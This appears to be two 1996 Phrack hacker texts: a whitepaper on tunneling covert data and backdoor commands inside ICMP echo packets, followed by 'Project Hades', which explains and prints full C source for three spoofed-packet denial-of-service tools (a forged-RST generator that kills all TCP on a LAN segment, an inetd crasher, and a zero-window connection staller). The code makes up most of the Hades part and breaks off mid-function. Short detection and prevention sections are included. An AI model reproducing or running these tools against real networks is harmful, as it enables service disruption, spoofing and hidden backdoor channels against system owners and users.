Ping traffic is ubiquitous to almost every TCP/IP based network and subnetwork. It has a standard packet format recognized by every IP‑speaking router and is used universally for network management, testing, and measurement. As such, many firewalls and networks consider ping traffic to be benign and will allow it to pass through, unmolested. This project explores why that practice can be insecure. Ignoring the obvious threat of the done‑to‑death denial of service attack, use of ping traffic can open up covert channels through the networks in which it is allowed.

Loki, Norse God of deceit and trickery, the 'Lord of Misrule' was well known for his subversive behavior. Inversion and reversal of all sorts was typical for him. Due to it's clandestine nature, we chose to name this project after him.

The Loki Project consists of a whitepaper covering this covert channel in detail. The sourcecode is not for distribution at this time.

‑‑[ Overview ]‑‑

This whitepaper is intended as a complete description of the covert channel that exists in networks that allow ping traffic (hereon referred to in the more general sense of ICMP_ECHO traffic ‑‑see below) to pass. It is organized into sections:

Section I.ICMP Background Info and the Ping Program

Section II.Basic Firewall Theory and Covert Channels

Section III.The Loki Premise

Section IV.Discussion, Detection, and Prevention

Section V.References

(Note that readers unfamiliar with the TCP/IP protocol suite may wish to first read ftp://ftp.infonexus.com/pub/Philes/NetTech/TCP‑IP/tcipIp.intro.txt.gz)

Section I.ICMP Background Info and the Ping Program

The Internet Control Message Protocol is an adjunct to the IP layer. It is a connectionless protocol used to convey error messages and other information to unicast addresses. ICMP packets are encapsulated inside of IP datagrams. The first 4‑bytes of the header are same for every ICMP message, with the remainder of the header differing for different ICMP message types. There are 15 different types of ICMP messages.

The ICMP types we are concerned with are type 0x0 and type 0x8. ICMP type 0x0 specifies an ICMP_ECHOREPLY (the response) and type 0x8 indicates an ICMP_ECHO (the query). The normal course of action is for a type 0x8 to elicit a type 0x0 response from a listening server. (Normally, this server is actually the OS kernel of the target host. Most ICMP traffic is, by default, handled by the kernel). This is what the ping program does.

Ping sends one or more ICMP_ECHO packets to a host. The purpose may just be to determine if a host is in fact alive (reachable). ICMP_ECHO packets also have the option to include a data section. This data section is used when the record route option is specified, or, the more common case, (usually the default) to store timing information to determine round‑trip times. (See the ping(8) man page for more information on these topics). An excerpt from the ping man page:

"...An IP header without options is 20 bytes. An ICMP ECHO_REQUEST packet contains an additional 8 bytes worth of ICMP header followed by an arbitrary‑amount of data. When a packetsize is given, this indicated the size of this extra piece of data (the default is 56). Thus the amount of data received inside of an IP packet of type ICMP ECHO_REPLY will always be 8 bytes more than the requested data space (the ICMP header)..."

Although the payload is often timing information, there is no check by any device as to the content of the data. So, as it turns out, this amount of data can also be arbitrary in content as well. Therein lies the covert channel.

Section II.Basic Firewall Theory and Covert Channels

The basic tenet of firewall theory is simple: To shield one network from another. This can be clarified further into 3 provisional rules: 1. All traffic passing between the two networks must pass through the firewall. 2. Only traffic authorized by the firewall may pass through (as dictated by the security policy of the site it protects).

3. The firewall itself is immune to compromise.

A covert channel is a vessel in which information can pass, but this vessel is not ordinarily used for information exchange. Therefore, as a matter of consequence, covert channels are impossible to detect and deter using a system's normal (read: unmodified) security policy. In theory, almost any process or bit of data can be a covert channel. In practice, it is usually quite difficult to elicit meaningful data from most covert channels in a timely fashion. In the case of Loki, however, it is quite simple to exploit.

A firewall, in it's most basic sense, seeks to preserve the security policy of the site it protects. It does so by enforcing the 3 rules above. Covert channels, however, by very definition, are not subject to a site's normal security policy.

Section III.The Loki Premise

The concept of the Loki Project is simple: arbitrary information tunneling in the data portion of ICMP_ECHO and ICMP_ECHOREPLY packets. Loki exploits the covert channel that exists inside of ICMP_ECHO traffic. This channel exists because network devices do not filter the contents of ICMP_ECHO traffic. They simply pass them, drop them, or return them. The trojan packets themselves are masqueraded as common ICMP_ECHO traffic. We can encapsulate (tunnel) any information we want. From here on out, Loki traffic will refer to ICMP_ECHO traffic that tunnels information. (Astute readers will note that Loki is simply a form of steganography).

Loki is not a compromise tool. It has many uses, none of which are breaking into a machine. It can be used as a backdoor into a system by providing a covert method of getting commands executed on a target machine. It can be used as a way of clandestinely leeching information off of a machine. It can be used as a covert method of user‑machine or user‑user communication. In essence the channel is simply a way to secretly shuffle data (confidentiality and authenticity can be added by way of cryptography).

Loki is touted as a firewall subversion technique, but in reality it is simple a vessel to covertly move data. *Through* exactly what we move this data is not so much an issue, as long as it passes ICMP_ECHO traffic. It does not matter: routers, firewalls, packet‑filters, dual‑homed hosts, etc... all can serve as conduits for Loki.

Section IV.Discussion, Detection and Prevention

If ICMP_ECHO traffic is allowed, then this channel exists. If this channel exists, then it is unbeatable for a backdoor (once the system is compromised). Even with extensive firewalling and packet‑filtering mechanisms in place, this channel continues to exist (provided, of course, they do not deny the passing of ICMP_ECHO traffic). With a proper implementation, the channel can go completely undetected for the duration of its existence.

Detection can be difficult. If you know what to look for, you may find that the channel is being used on your system. However, knowing when to look, where to look, and the mere fact that you *should* be looking all have to be in place. A surplus of ICMP_ECHOREPLY packets with a garbled payload can be ready indication the channel is in use. The standalone Loki server program can also be a dead give‑away. However, if the attacker can keep traffic on the channel down to a minimum, and was to hide the Loki server *inside* the kernel, detection suddenly becomes much more difficult.

Disruption of this channel is simply preventative. Disallow ICMP_ECHO traffic entirely. ICMP_ECHO traffic, when weighed against the security liabilities it imposes, is simply not *that* necessary. Restricting ICMP_ECHO traffic to be accepted from trusted hosts only is ludicrous with a connectionless protocol such as ICMP. Forged traffic can still reach the target host. The LOKI packet with a forged source IP address will arrive at the target (and will elicit a legitimate ICMP_ECHOREPLY, which will travel to the spoofed host, and will be subsequently dropped silently) and can contain the 4‑byte IP address of the desired target of the Loki response packets, as well as 51‑bytes of malevolent data... While the possibility exists for a smart packet filter to check the payload field and ensure that it *only* contains legal information, such a filter for ICMP is not in wide usage, and could still be open to fooling. The only sure way to destroy this channel is to deny ALL ICMP_ECHO traffic into your network.

NOTE: This channel exists in many other protocols. Loki Simply covers ICMP, but in theory (and practice) any protocol is vulnerable to covert data tunneling. All that is required is the ingenuity...

Section V.References

Books:TCP Illustrated vols. I, II, III

RFCs:rfc 792

Source:Loki v1.0

Ppl:We did not pioneer this concept To our knowledge,

it was discovered independently of our efforts, prior to our research. This party wishes to remain aloof.

This project made possible by a grant from the Guild Corporation.

Project Hades

.oO Phrack Magazine Oo.

Volume Seven, Issue Forty‑Nine

File 07 of 16

[ Project Hades ]

Paper by daemon9 AKA route sourcecode by daemon9 for Phrack Magazine October 1996 Guild Productions, kid

comments to route@infonexus.com

‑‑[ Introduction ]‑‑

More explorations of weaknesses in the most widely used transport protocol on the Internet. Put your mind at rest fearful reader! The vulnerabilities outlined here are nowhere near the devastating nature of Project Neptune/Poseidon.

Hades is the Greek god of the underworld; his kingdom is that of the the Dead. Hades renown for being quite evil and twisted. He is also well known for his TCP exploit code. Therefore, it seemed fitting to name this project after him.

BTW, for this code to work (as with much of my previous code) your kernel must be patched to be able to spoof packets. DO NOT MAIL ME to ask how to do it.

‑‑[ Overview ]‑‑

Section I.Ethernet background information

Section II.TCP background information

Section III.Avarice

Section IV.Vengeance

Section V.Sloth

SectionVI.Discussion, Detection, and Prevention

(Note that readers unfamiliar with the TCP/IP protocol suite may wish to first read ftp://ftp.infonexus.com/pub/Philes/NetTech/TCP‑IP/tcipIp.intro.txt.gz)

Section I.Ethernet Background information

Ethernet is a multi‑drop, connectionless, unreliable link layer protocol. It (IEEE 802.3 Ethernet is the version I refer to) is the link‑layer protocol most LANs are based upon. It is multidrop; each device on the ethernet shares the media (and, consequently, the bandwidth) with every other device. It is connectionless; every frame is sent independently of the previous one and next one. It is unreliable; frames are not acknowledged by the other end. If a frame is received that doesn't pass the checksum, it is silently discarded. It is a link‑layer protocol that sits underneath the network protocol (IP) and above the physical interface (varies, but often CAT3/5 UTP).

‑‑[ Signaling and Encoding ]‑‑

Standard 802.3 Ethernet signals at 10 mega‑bits per second using Manchester encoding to order bits on the wire. Manchester is a biphase state‑transition technique; to indicate a particular bit is on, a voltage transition from low to high is used. To indicate a bit is off, a high to low transition is used.

‑‑[ Media Access ]‑‑

Ethernet uses media contention to gain access to the shared wire. The version of contention it uses is CSMA/CD (carrier sense multiple access / collision detection). This simply means that ethernet supports multiple devices on a shared network medium. Any device can send it's data whenever it thinks the wire is clear. Collisions are detected (causing back‑off and retry) but not avoided. CSMA/CD algorithmically:

1. IF: the medium is idle ‑> transmit.

2. ELSE: the medium is busy ‑> wait and listen until idle ‑> transmit. 3. IF: collision is detected ‑> transmit jamming signal, cease all transmission

4. IF: jamming signal is detected ‑> wait a random amount of time, goto 1

‑‑[ Broadcast Medium ]‑‑

Since it is CSMA/CD technology, ethernet has the wonderful property that it hears everything on the network. Under normal circumstances, an ethernet NIC will only capture and pass to the network layer packets that boast it's own MAC (link‑layer) address or a broadcast MAC address. However, it is trivial to place an Ethernet card into promiscuous mode where it will capture everything it hears, regardless to whom the frame was addressed.

It bears mentioning that bridges are used to divide an ethernet into logically separate segments. A bridge (or bridging device such as a smart hub) will not pass an ethernet frame from segment to segment unless the addressed host lies on the disparate segment. This can reduce over‑all network load by reducing the amount of traffic on the wire.

Section II. TCP Background Information

TCP is a connection‑oriented, reliable transport protocol. TCP is responsible for hiding network intricacies from the upper layers. A connection‑oriented protocol implies that the two hosts participating in a discussion must first establish a connection before data may be exchanged. In TCP's case, this is done with the three‑way handshake. Reliability can be provided in a number of ways, but the only two we are concerned with are data sequencing and acknowledgment. TCP assigns sequence numbers to every byte in every segment and acknowledges all data bytes received from the other end. (ACK's consume a sequence number, but are not themselves ACK'd. That would be ludicrous.)

‑‑[ TCP Connection Establishment ]‑‑

In order to exchange data using TCP, hosts must establish a connection. TCP establishes a connection in a 3 step process called the 3‑way handshake. If machine A is running a client program and wishes to connect to a server program on machine B, the process is as follows:

fig(1)

1 A ‑‑‑SYN‑‑‑> B

2 A <‑‑‑SYN/ACK‑‑‑ B

3 A ‑‑‑ACK‑‑‑> B

At (1) the client is telling the server that it wants a connection. This is the SYN flag's only purpose. The client is telling the server that the sequence number field is valid, and should be checked. The client will set the sequence number field in the TCP header to it's ISN (initial sequence number). The server, upon receiving this segment (2) will respond with it's own ISN (therefore the SYN flag is on) and an Acknowledgment of the clients first segment (which is the client's ISN+1). The client then ACK's the server's ISN (3). Now data transfer may take place.

‑‑[ TCP Control Flags ]‑‑

There are six TCP control flags.

SYN: Synchronize Sequence Numbers

The synchronize sequence numbers field is valid. This flag is only valid during the 3‑way handshake. It tells the receiving TCP to check the sequence number field, and note it's value as the connection‑initiator's (usually the client) initial sequence number. TCP sequence numbers can simply be thought of as 32‑bit counters. They range from 0 to 4,294,967,295. Every byte of data exchanged across a TCP connection (along with certain flags) is sequenced. The sequence number field in the TCP header will contain the sequence number of the *first* byte of data in the TCP segment.

ACK: Acknowledgment

The acknowledgment number field is valid. This flag is almost always set. The acknowledgment number field in the TCP header holds the value of the next *expected* sequence number (from the other side), and also acknowledges *all* data (from the other side) up through this ACK number minus one.

RST: Reset

Destroy the referenced connection. All memory structures are torn down.

URG: Urgent

The urgent pointer is valid. This is TCP's way of implementing out of band (OOB) data. For instance, in a telnet connection a `ctrl‑c` on the client side is considered urgent and will cause this flag to be set.

PSH: Push

The receiving TCP should not queue this data, but rather pass it to the application as soon as possible. This flag should always be set in interactive connections, such as telnet and rlogin.

FIN: Finish

The sending TCP is finished transmitting data, but is still open to accepting data.

‑‑[ Ports ]‑‑

To grant simultaneous access to the TCP module, TCP provides a user interface called a port. Ports are used by the kernel to identify network processes. They are strictly transport layer entities. Together with an IP address, a TCP port provides an endpoint for network communications. In fact, at any given moment *all* Internet connections can be described by 4 numbers: the source IP address and source port and the destination IP address and destination port. Servers are bound to 'well‑known' ports so that they may be located on a standard port on different systems. For example, the telnet daemon sits on TCP port 23.

Section III.Avarice

Avarice is a SYN,RST generator. It is designed to disallow any TCP traffic on the ethernet segment upon which it listens. It works by listening for the 3‑way handshake procedure to begin, and then immediately resetting it. The result is that no TCP based connections can be negotiated, and therefore no TCP traffic can flow. This version sits on a host, puts the NIC into promiscuous mode and listens for connection‑establishment requests. When it hears one, it immediately generates a forged RST packet and sends it back to the client. If the forged RST arrives in time, the client will quit with a message like:

telnet: Unable to connect to remote host: Connection refused

For the client to accept the RST, it must think it is an actual response from the server. This requires 3 pieces of information: IP address, TCP port, and TCP acknowledgment number. All of this information is gleaned from the original SYN packet: the IP address of the destination host, the TCP port of the listening process, and the clients ISN (the acknowledgment number in the RST packet is the clients ISN+1, as SYN's consume a sequence number).

This program has a wide range of effectiveness. Speed is essential for avarice to quell all TCP traffic on a segment. We are basically racing the kernel. OS kernels tend to be rather efficient at building packets. If run on a fast machine, with a fast kernel, it's kill rate is rather high. I have seen kill‑rates as high as 98% (occasionally a few slip through) on a fast machine. Consequently, if run on a slow machine, with a slow kernel, it will likely be useless. If the RSTs arrive too late, they will be dropped by the client, as the ACK number will be too low for the referenced connection. Sure, the program could send, say, 10 packets, each with progressively higher ACK numbers, but hey, this is a lame program...

Section IV.Vengeance

Vengeance is an inetd killer. On affected systems this program will cause inetd to become unstable and die after the next connection attempt. It sends a connection‑request immediately followed by a RST to an internal inetd managed service, such as time or daytime. Inetd is now unstable and will die after the next attempt at a connection. Simple. Dumb. Not eleet. (This inetd bug should be fixed or simply not present in newer inetd code.)

I did not add code to make the legitimate connection that would kill inetd to this simple little program for 2 reasons. 1) It's simply not worth the complexity to add sequence number prediction to create a spoofed 3‑way handshake. This program is too dinky. 2) Maybe the attacker would want to leave inetd in a unstable state and let some legitimate user come along and kill it. Who knows. Who cares. Blah. I wash my hands of the whole affair.

Section V.Sloth

"Make your ethernet feel like a lagged 28.8 modem link!"

Sloth is an experiment. It is an experiment in just how lame IP spoofing can get. It works much the same way avarice does, except it sends forged TCP window advertisements. By default Sloth will spoof zero‑size window advertisements which will have the effect of slowing interactive traffic considerably. In fact, in some instances, it will freeze a connection all together. This is because when a TCP receives a zero‑size window advertisement, it will stop sending data, and start sending window probes (a window probe is nothing more than an ACK with one byte of data) to see if the window size has increased. Since window probes are, in essence, nothing more than acknowledgements, they can get lost. Because of this fact, TCP implements a timer to cordinate the repeated sending of these packets. Window probes are sent according to the persist timer (a 500ms timer) which is calculated by TCP's exponential backoff algorithm. Sloth will see each window probe, and spoof a 0‑size window to the sender. This all works out to cause mass mayhem, and makes it difficult for either TCP to carry on a legitimate conversation.

Sloth, like avarice, is only effective on faster machines. It also only works well with interactive traffic.

SectionVI.Discussion, Detection, and Prevention

Avarice is simply a nasty program. What more do you want from me? Detection? Detection would require an ounce of clue. Do FTP, SMTP, HTTP, POP, telnet, etc all suddenly break at the same time on every machine on the LAN? Could be this program. Break out the sniffer. Monitor the network and look for the machine that generating the RSTs. This version of the program does not spoof its MAC address, so look for that. To really prevent this attack, add cryptographic authentication to the TCP kernels on your machines.

Vengeance is a wake‑up call. If you haven't patched your inetd to be resistant to this attack, you should now. If your vendor hasn't been forthcoming with a patch, they should now. Detection is using this program. Prevention is a patch. Prevention is disabling the internal inetd services.

Sloth can be detected and dealt with in much the same way as avarice.

You may have noticed that these programs are named after three of the Seven Deadly Sins. You may be wondering if that implies that there will be four more programs of similar ilk. Well, STOP WONDERING. The answer is NO. I am officially *out* of the D.O.S. business. I am now putting my efforts towards more productive ventures. Next issue, a session jacker.

This project made possible by a grant from the Guild Corporation.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑8<‑‑‑‑‑‑‑cut‑me‑loose‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/*

The Hades Project

Explorations in the Weakness of TCP

SYN ‑> RST generator

(avarice)

v. 1.0

daemon9/route/infinity

October 1996 Guild productions

comments to route@infonexus.com

This coding project made possible by a grant from the Guild corporation

*/

#include "lnw.h"

void main(){

void reset(struct iphdr *,struct tcphdr *,int);

struct epack{/* Generic Ethernet packet w/o data payload */

struct ethhdr eth;/* Ethernet Header */

struct iphdr ip;/* IP header */

struct tcphdr tcp;/* TCP header */

}epack;

int sock,shoe,dlen;

struct sockaddr dest;

struct iphdr *iphp;

struct tcphdr *tcphp;

if(geteuid()||getuid()){

fprintf(stderr,"UID or EUID of 0 needed...\n"); exit(0);

}

sock=tap(DEVICE);/* Setup the socket and device */

/* Could use the SOCK_PACKET but building Ethernet headers would

require more time overhead; the kernel can do it quicker then me */

if((shoe=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0){ perror("\nHmmm.... socket problems"); exit(1);

}

shadow();/* Run as a daemon */

iphp=(struct iphdr *)(((unsigned long)&epack.ip)‑2); tcphp=(struct tcphdr *)(((unsigned long)&epack.tcp)‑2);

/* Network reading loop / RSTing portion */

while(1)if(recvfrom(sock,&epack,sizeof(epack),0,&dest,&dlen))if(iphp‑>protocol==IPPROTO_TCP&&tcphp‑>syn)reset(iphp,tcphp,shoe); }

/*

*Build a packet and send it off.

*/

void reset(iphp,tcphp,shoe)

struct iphdr *iphp;

struct tcphdr *tcphp;

int shoe;

{

void dump(struct iphdr *,struct tcphdr *);

struct tpack{/* Generic TCP packet w/o payload */

struct iphdr ip;

struct tcphdr tcp;

}tpack;

struct pseudo_header{ /* For TCP header checksum */

unsigned source_address;

unsigned dest_address;

unsigned char placeholder; unsigned char protocol;

unsigned short tcp_length;

struct tcphdr tcp;

}pheader;

struct sockaddr_in sin; /* IP address information */

/* Setup the sin struct with addressing information */

sin.sin_family=AF_INET; /* Internet address family */

sin.sin_port=tcphp‑>dest; /* Source port */

sin.sin_addr.s_addr=iphp‑>saddr;/* Dest. address */

/* Packet assembly begins here */

/* Fill in all the TCP header information */

tpack.tcp.source=tcphp‑>dest; /* 16‑bit Source port number */

tpack.tcp.dest=tcphp‑>source; /* 16‑bit Destination port */

tpack.tcp.seq=0; /* 32‑bit Sequence Number */

tpack.tcp.ack_seq=htonl(ntohl(tcphp‑>seq)+1); /* 32‑bit Acknowledgement Number */

tpack.tcp.doff=5; /* Data offset */

tpack.tcp.res1=0; /* reserved */

tpack.tcp.res2=0; /* reserved */

tpack.tcp.urg=0; /* Urgent offset valid flag */

tpack.tcp.ack=1; /* Acknowledgement field valid flag */

tpack.tcp.psh=0; /* Push flag */

tpack.tcp.rst=1; /* Reset flag */

tpack.tcp.syn=0; /* Synchronize sequence numbers flag */

tpack.tcp.fin=0; /* Finish sending flag */

tpack.tcp.window=0; /* 16‑bit Window size */

tpack.tcp.check=0; /* 16‑bit checksum (to be filled in below) */

tpack.tcp.urg_ptr=0; /* 16‑bit urgent offset */

/* Fill in all the IP header information */

tpack.ip.version=4; /* 4‑bit Version */

tpack.ip.ihl=5; /* 4‑bit Header Length */

tpack.ip.tos=0; /* 8‑bit Type of service */

tpack.ip.tot_len=htons(IPHDR+TCPHDR); /* 16‑bit Total length */

tpack.ip.id=0; /* 16‑bit ID field */

tpack.ip.frag_off=0; /* 13‑bit Fragment offset */

tpack.ip.ttl=64; /* 8‑bit Time To Live */

tpack.ip.protocol=IPPROTO_TCP; /* 8‑bit Protocol */

tpack.ip.check=0; /* 16‑bit Header checksum (filled in below) */

tpack.ip.saddr=iphp‑>daddr; /* 32‑bit Source Address */

tpack.ip.daddr=iphp‑>saddr; /* 32‑bit Destination Address */

pheader.source_address=(unsigned)tpack.ip.saddr; pheader.dest_address=(unsigned)tpack.ip.daddr; pheader.placeholder=0;

pheader.protocol=IPPROTO_TCP; pheader.tcp_length=htons(TCPHDR);

/* IP header checksum */

tpack.ip.check=in_cksum((unsigned short *)&tpack.ip,IPHDR);

/* TCP header checksum */

bcopy((char *)&tpack.tcp,(char *)&pheader.tcp,TCPHDR); tpack.tcp.check=in_cksum((unsigned short *)&pheader,TCPHDR+12);

sendto(shoe,&tpack,IPHDR+TCPHDR,0,(struct sockaddr *)&sin,sizeof(sin)); #ifndef QUIET

dump(iphp,tcphp);

#endif

}

/*

*Dumps some info...

*/

void dump(iphp,tcphp)

struct iphdr *iphp;

struct tcphdr *tcphp;

{

fprintf(stdout,"Connection‑establishment Attempt: "); fprintf(stdout,"%s [%d] ‑‑> %s [%d]\n",hostLookup(iphp‑>saddr),ntohs(tcphp‑>source),hostLookup(iphp‑>daddr),ntohs(tcphp‑>dest)); fprintf(stdout,"Thwarting...\n");

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑8<‑‑‑‑‑‑‑cut‑me‑loose‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/*

The Hades Project Explorations in the Weakness of TCP

Inetd Killer

(vengance)

v. 1.0

daemon9/route/infinity

October 1996 Guild productions

comments to route@infonexus.com

This coding project made possible by a grant from the Guild corporation */

#include "lnw.h"

void main()

{

void s3nd(int,int,unsigned,unsigned short,unsigned);

void usage(char *);

unsigned nameResolve(char *);

int sock,mode,i=0;

char buf[BUFSIZE];

unsigned short port;

unsigned target=0,source=0;

char werd[]={"\n\n\n\nHades is a Guild Corporation Production. c.1996\n\n"};

if(geteuid()||getuid()){

fprintf(stderr,"UID or EUID of 0 needed...\n"); exit(0);

}

if((sock=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0){ perror("\nHmmm.... socket problems"); exit(1);

}

printf(werd);

printf("\nEnter target address‑> "); fgets(buf,sizeof(buf)‑1,stdin);

if(!buf[1])exit(0);

while(buf[i]!='\n')i++; /* Strip the newline */

buf[i]=0;

target=nameResolve(buf);

bzero((char *)buf,sizeof(buf));

printf("\nEnter source address to spoof‑> "); fgets(buf,sizeof(buf)‑1,stdin);

if(!buf[1])exit(0);

while(buf[i]!='\n')i++; /* Strip the newline */

buf[i]=0;

source=nameResolve(buf);

bzero((char *)buf,sizeof(buf));

printf("\nEnter target port (should be 13, 37, or some internal service)‑> "); fgets(buf,sizeof(buf)‑1,stdin); if(!buf[1])exit(0);

port=(unsigned short)atoi(buf);

fprintf(stderr,"Attempting to upset inetd...\n\n");

s3nd(sock,0,target,port,source);/* SYN */

s3nd(sock,1,target,port,source);/* RST */

fprintf(stderr,"At this point, if the host is vulnerable, inetd is unstable.\nTo verfiy: `telnet target.com {internal service port #}`. Do this twice.\nInetd should allow the first connection, but send no data, then die.\nThe second telnet will verify t

his.\n");

}

/*

*Build a packet and send it off.

*/

void s3nd(int sock,int mode,unsigned target,unsigned short port,unsigned source){

struct pkt{

struct iphdr ip;

struct tcphdr tcp;

}packet;

struct pseudo_header{ /* For TCP header checksum */

unsigned source_address;

unsigned dest_address;

unsigned char placeholder; unsigned char protocol;

unsigned short tcp_length;

struct tcphdr tcp;

}pseudo_header;

struct sockaddr_in sin; /* IP address information */

/* Setup the sin struct with addressing information */

sin.sin_family=AF_INET; /* Internet address family */

sin.sin_port=666; /* Source port */

sin.sin_addr.s_addr=target; /* Dest. address */

/* Packet assembly begins here */

/* Fill in all the TCP header information */

packet.tcp.source=htons(666); /* 16‑bit Source port number */

packet.tcp.dest=htons(port); /* 16‑bit Destination port */

if(mode)packet.tcp.seq=0; /* 32‑bit Sequence Number */

else packet.tcp.seq=htonl(10241024); if(!mode)packet.tcp.ack_seq=0; /* 32‑bit Acknowledgement Number */

else packet.tcp.ack_seq=htonl(102410000); packet.tcp.doff=5; /* Data offset */

packet.tcp.res1=0; /* reserved */

packet.tcp.res2=0; /* reserved */

packet.tcp.urg=0; /* Urgent offset valid flag */

packet.tcp.ack=0; /* Acknowledgement field valid flag */

packet.tcp.psh=0; /* Push flag */

if(!mode)packet.tcp.rst=0; /* Reset flag */

else packet.tcp.rst=1;

if(!mode)packet.tcp.syn=1; /* Synchronize sequence numbers flag */

else packet.tcp.syn=0;

packet.tcp.fin=0; /* Finish sending flag */

packet.tcp.window=htons(512); /* 16‑bit Window size */

packet.tcp.check=0; /* 16‑bit checksum (to be filled in below) */

packet.tcp.urg_ptr=0; /* 16‑bit urgent offset */

/* Fill in all the IP header information */

packet.ip.version=4; /* 4‑bit Version */

packet.ip.ihl=5; /* 4‑bit Header Length */

packet.ip.tos=0; /* 8‑bit Type of service */

packet.ip.tot_len=htons(IPHDR+TCPHDR); /* 16‑bit Total length */

packet.ip.id=0; /* 16‑bit ID field */

packet.ip.frag_off=0; /* 13‑bit Fragment offset */

packet.ip.ttl=64; /* 8‑bit Time To Live */

packet.ip.protocol=IPPROTO_TCP; /* 8‑bit Protocol */

packet.ip.check=0; /* 16‑bit Header checksum (filled in below) */

packet.ip.saddr=source; /* 32‑bit Source Address */

packet.ip.daddr=target; /* 32‑bit Destination Address */

pseudo_header.source_address=(unsigned)packet.ip.saddr; pseudo_header.dest_address=(unsigned)packet.ip.daddr; pseudo_header.placeholder=0; pseudo_header.protocol=IPPROTO_TCP; pseudo_header.tcp_length=htons(TCPHDR);

/* IP header checksum */

packet.ip.check=in_cksum((unsigned short *)&packet.ip,IPHDR);

/* TCP header checksum */

bcopy((char *)&packet.tcp,(char *)&pseudo_header.tcp,IPHDR); packet.tcp.check=in_cksum((unsigned short *)&pseudo_header,TCPHDR+12);

sendto(sock,&packet,IPHDR+TCPHDR,0,(struct sockaddr *)&sin,sizeof(sin)); }

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑8<‑‑‑‑‑‑‑cut‑me‑loose‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/*

The Hades Project Explorations in the Weakness of TCP TCP Window Starvation

(sloth)

v. 1.0

daemon9/route/infinity

October 1996 Guild productions

comments to route@infonexus.com

This coding project made possible by a grant from the Guild corporation

*/

#include "lnw.h"

/* experiment with this value. Different things happen with different sizes */

#define SLOTHWINDOW0

void main(){

void sl0th(struct iphdr *,struct tcphdr *,int);

struct epack{/* Generic Ethernet packet w/o data payload */

struct ethhdr eth;/* Ethernet Header */

struct iphdr ip;/* IP header */

struct tcphdr tcp;/* TCP header */

}epack;

int sock,shoe,dlen;

struct sockaddr dest;

struct iphdr *iphp;

struct tcphdr *tcphp;

if(geteuid()||getuid()){

fprintf(stderr,"UID or EUID of 0 needed...\n"); exit(0);

}

sock=tap(DEVICE);/* Setup the socket and device */

/* Could use the SOCK_PACKET but building Ethernet headers would

require more time overhead; the kernel can do it quicker then me */

if((shoe=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0){ perror("\nHmmm.... socket problems"); exit(1);

}

shadow();/* Run as a daemon */

iphp=(struct iphdr *)(((unsigned long)&epack.ip)‑2); tcphp=(struct tcphdr *)(((unsigned long)&epack.tcp)‑2);

/* Network reading loop */

while(1)if(recvfrom(sock,&epack,sizeof(epack),0,&dest,&dlen))if(iphp‑>protocol==IPPROTO_TCP&&tcphp‑>ack)sl0th(iphp,tcphp,shoe); }

/*

*Build a packet and send it off.

*/

void sl0th(iphp,tcphp,shoe)

struct iphdr *iphp;

struct tcphdr *tcphp;

int shoe;

{

void dump(struct iphdr *,struct tcphdr *);

struct tpack{/* Generic TCP packet w/o payload */

struct iphdr ip;

struct tcphdr tcp;

}tpack;

struct pseudo_header{ /* For TCP header checksum */

unsigned source_address;

unsigned dest_address;

unsigned char placeholder; unsigned char protocol;

unsigned short tcp_length;

struct tcphdr tcp;

}pheader;

struct sockaddr_in sin; /* IP address information */

/* Setup the sin struct with addressing information */

sin.sin_family=AF_INET; /* Internet address family */

sin.sin_port=tcphp‑>dest; /* Source port */

sin.sin_addr.s_addr=iphp‑>saddr;/* Dest. address */

/* Packet assembly begins here */

/* Fill in all the TCP header information */

tpack.tcp.source=tcphp‑>dest; /* 16‑bit Source port number */

tpack.tcp.dest=tcphp‑>source; /* 16‑bit Destination port */

tpack.tcp.seq=htonl(ntohl(tcphp‑>ack_seq)); /* 32‑bit Sequence Number */

tpack.tcp.ack_seq=htonl(ntohl(tcphp‑>seq)); /* 32‑bit Acknowledgement Number */

tpack.tcp.doff=5; /* Data offset */

tpack.tcp.res1=0; /* reserved */

tpack.tcp.res2=0; /* reserved */

tpack.tcp.urg=0; /* Urgent offset valid flag */

tpack.tcp.ack=1; /* Acknowledgement field valid flag */

tpack.tcp.psh=0; /* Push flag */

tpack.tcp.rst=0; /* Reset flag */

tpack.tcp.syn=0; /* Synchronize sequence numbers flag */

tpack.tcp.fin=0; /* Finish sending flag */

tpack.tcp.window=htons(SLOTHWINDOW); /* 16‑bit Window size */

tpack.tcp.check=0; /* 16‑bit checksum (to be filled in below) */

tpack.tcp.urg_ptr=0; /* 16‑bit urgent offset */

/* Fill in all the IP header information */

tpack.ip.version=4; /* 4‑bit Version */

tpack.ip.ihl=5; /* 4‑bit Header Length */

tpack.ip.tos=0; /* 8‑bit Type of service */

tpack.ip.tot_len=htons(IPHDR+TCPHDR); /* 16‑bit Total length */

tpack.ip.id=0; /* 16‑bit ID field */

tpack.ip.frag_off=0; /* 13‑bit Fragment offset */

tpack.ip.ttl=64; /* 8‑bit Time To Live */

tpack.ip.protocol=IPPROTO_TCP; /* 8‑bit Protocol */

tpack.ip.check=0; /* 16‑bit Header checksum (filled in below) */

tpack.ip.saddr=iphp‑>daddr; /* 32‑bit Source Address */

tpack.ip.daddr=iphp‑>saddr; /* 32‑bit Destination Address */

pheader.source_address=(unsigned)tpack.ip.saddr; pheader.dest_address=(unsigned)tpack.ip.daddr; pheader.placeholder=0;

pheader.protocol=IPPROTO_TCP; pheader.tcp_length=htons(TCPHDR);

/* IP header checksum */

tpack.ip.check=in_cksum((unsigned short *)&tpack.ip,IPHDR);

/* TCP header checksum */

bcopy((char *)&tpack.tcp,(char *)&pheader.tcp,TCPHDR); tpack.tcp.check=in_cksum((unsigned short *)&pheader,TCPHDR+12);

sendto(shoe,&tpack,IPHDR+TCPHDR,0,(struct sockaddr *)&sin,sizeof(sin)); #ifndef QUIET

dump(iphp,tcphp);

#endif

}

/*

*Dumps some info...

*/

void dump(iphp,tcphp)

struct iphdr *iphp;

struct tcphdr *tcphp;

{

